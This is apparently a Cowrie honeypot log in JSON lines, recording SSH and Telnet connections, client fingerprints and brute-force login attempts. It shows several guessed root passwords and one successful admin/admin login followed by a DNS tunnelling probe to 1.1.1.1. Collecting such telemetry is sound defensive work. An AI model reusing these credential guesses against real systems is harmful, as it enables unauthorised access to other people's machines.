{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.070174Z","src_ip":"79.132.141.112","session":"fe02ef9467bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":47146,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7125472e6a3","protocol":"ssh","message":"New connection: 43.153.22.143:47146 (10.17.0.5:22) [session: d7125472e6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.625205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.629571Z","src_ip":"43.153.22.143","session":"d7125472e6a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD!@#","message":"login attempt [root/123asdASD!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.638424Z","src_ip":"154.83.13.181","session":"475472fbfa21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.697824Z","src_ip":"43.153.22.143","session":"d7125472e6a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa332211","message":"login attempt [root/aa332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:36.008259Z","src_ip":"43.153.22.143","session":"d7125472e6a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:36.855843Z","src_ip":"154.83.13.181","session":"475472fbfa21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:37.079071Z","src_ip":"43.153.22.143","session":"d7125472e6a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8792,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53cde3f5c87","protocol":"ssh","message":"New connection: 87.251.64.176:8792 (10.17.0.5:22) [session: a53cde3f5c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:41.600916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:41.605963Z","src_ip":"87.251.64.176","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:41.703170Z","src_ip":"87.251.64.176","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:41.993715Z","src_ip":"87.251.64.176","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.094367Z","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.192805Z","src_ip":"87.251.64.176","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.293668Z","src_ip":"87.251.64.176","session":"a53cde3f5c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36906,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e925ceee8a9","protocol":"ssh","message":"New connection: 103.15.222.183:36906 (10.17.0.5:22) [session: 6e925ceee8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.397278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.407048Z","src_ip":"103.15.222.183","session":"6e925ceee8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:42.654058Z","src_ip":"103.15.222.183","session":"6e925ceee8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234569","message":"login attempt [root/1234569] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:43.394141Z","src_ip":"103.15.222.183","session":"6e925ceee8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":44620,"dst_ip":"10.17.0.5","dst_port":23,"session":"68371eb7f73d","protocol":"telnet","message":"New connection: 213.108.3.46:44620 (10.17.0.5:23) [session: 68371eb7f73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:43.665405Z"}
{"eventid":"cowrie.session.closed","duration":0.01440572738647461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:43.679675Z","src_ip":"213.108.3.46","session":"68371eb7f73d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:44.642870Z","src_ip":"103.15.222.183","session":"6e925ceee8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38896,"dst_ip":"10.17.0.5","dst_port":22,"session":"152e5cb62f99","protocol":"ssh","message":"New connection: 193.32.162.145:38896 (10.17.0.5:22) [session: 152e5cb62f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:46.183883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:46.189392Z","src_ip":"193.32.162.145","session":"152e5cb62f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:46.294853Z","src_ip":"193.32.162.145","session":"152e5cb62f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:46.608234Z","src_ip":"193.32.162.145","session":"152e5cb62f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:47.716789Z","src_ip":"193.32.162.145","session":"152e5cb62f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36072,"dst_ip":"10.17.0.5","dst_port":23,"session":"df117513eba3","protocol":"telnet","message":"New connection: 152.42.224.71:36072 (10.17.0.5:23) [session: df117513eba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:48.922240Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":43598,"dst_ip":"10.17.0.5","dst_port":22,"session":"668703952e8e","protocol":"ssh","message":"New connection: 197.248.104.31:43598 (10.17.0.5:22) [session: 668703952e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:50.712669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:50.718004Z","src_ip":"197.248.104.31","session":"668703952e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:50.928516Z","src_ip":"197.248.104.31","session":"668703952e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Runner","message":"login attempt [root/Runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:51.801672Z","src_ip":"197.248.104.31","session":"668703952e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4590c1e66fcc","protocol":"telnet","message":"New connection: 152.42.224.71:36086 (10.17.0.5:23) [session: 4590c1e66fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:51.945136Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:53.015126Z","src_ip":"197.248.104.31","session":"668703952e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":34470,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c1288f8a15","protocol":"ssh","message":"New connection: 43.153.124.153:34470 (10.17.0.5:22) [session: 53c1288f8a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:56.465610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:56.470637Z","src_ip":"43.153.124.153","session":"53c1288f8a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:56.539115Z","src_ip":"43.153.124.153","session":"53c1288f8a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword","message":"login attempt [root/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:56.842911Z","src_ip":"43.153.124.153","session":"53c1288f8a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:57.916769Z","src_ip":"43.153.124.153","session":"53c1288f8a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.82929801940918,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:58.874188Z","src_ip":"152.42.224.71","session":"25370e443ac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.792943954467773,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:06.715096Z","src_ip":"152.42.224.71","session":"df117513eba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":21761,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc5f544d80ee","protocol":"ssh","message":"New connection: 181.0.214.136:21761 (10.17.0.5:22) [session: dc5f544d80ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:14.978772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:14.984416Z","src_ip":"181.0.214.136","session":"dc5f544d80ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:15.152312Z","src_ip":"181.0.214.136","session":"dc5f544d80ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123@","message":"login attempt [root/Pass123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:15.839883Z","src_ip":"181.0.214.136","session":"dc5f544d80ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:17.009995Z","src_ip":"181.0.214.136","session":"dc5f544d80ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"762adfd0db87","protocol":"telnet","message":"New connection: 152.42.224.71:42000 (10.17.0.5:23) [session: 762adfd0db87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:20.092095Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":32930,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f98a585661","protocol":"ssh","message":"New connection: 59.17.95.129:32930 (159.203.135.109:22) [session: 77f98a585661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:21.106027Z"}
